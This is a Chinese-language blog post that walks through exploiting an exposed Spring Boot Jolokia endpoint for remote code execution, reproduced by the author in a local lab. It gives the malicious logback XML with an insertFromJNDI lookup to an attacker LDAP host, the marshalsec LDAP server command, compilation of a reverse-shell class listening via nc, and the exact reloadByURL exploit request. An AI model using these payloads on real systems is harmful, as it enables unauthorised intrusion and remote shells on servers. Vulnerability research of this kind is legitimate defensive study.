Spring未授权REC利用方式三(jolokia接口/jolokia Realm JNDI RCE)

一、漏洞背景

  /jolokia/list接口未授权利用

二、利用条件

  jolokia接口暴露

  spring使用了jolokia-core的依赖,并存在MBean

  JDNI注入有版本限制 JDK< 6u201/7u191/8u182/11.0.1 (LDAP)

三、漏洞确认

  /jolokia/list 接口搜索关键字: ch.qos.logback.classic.jmx.JMXConfigurator  和  reloadByURL

  

 

 

 四、漏洞复现

  1.开一个python临时web

    python2 -m SimpleHTTPServer 80

   

 

  2.准备xml文件

  xml文件内容如下

<configuration>
  <insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/JNDIObject" as="appName" />
</configuration>

  3.修改java文件,并以低版本编译 ,443为nc监听的端口

    javac -source 1.5 -target 1.5 JNDIObject.java

  

   4.启动恶意注入类监听1389 端口

     java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.43.183:80/##JNDIObject 1389

   5.POC  status200就是成功了

    /jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/192.168.43.239!/example.xml

     

 

   6.判断是否成功,从web服务响应看到 靶机环境加载了example.xml 并且 恶意类执行注入也加载了class说明大概率会成功返回shell。

    (我这里是用win系统IDEA搭建的本地环境,脚本是针对linux的所以无法接收到shell。)

    

 

  总结:RMI注入同理,JNDI注入的两种方式都用JKD版本限制,和fastjson的反序列差不多,这个是多了一步加载xml的文件。

 

 

参考链接:

  https://github.com/LandGrey/SpringBootVulExploit#0x04jolokia-logback-jndi-rce

posted @ 2021-01-29 15:06  黑岗0x0001  阅读(4851)  评论(1编辑  收藏  举报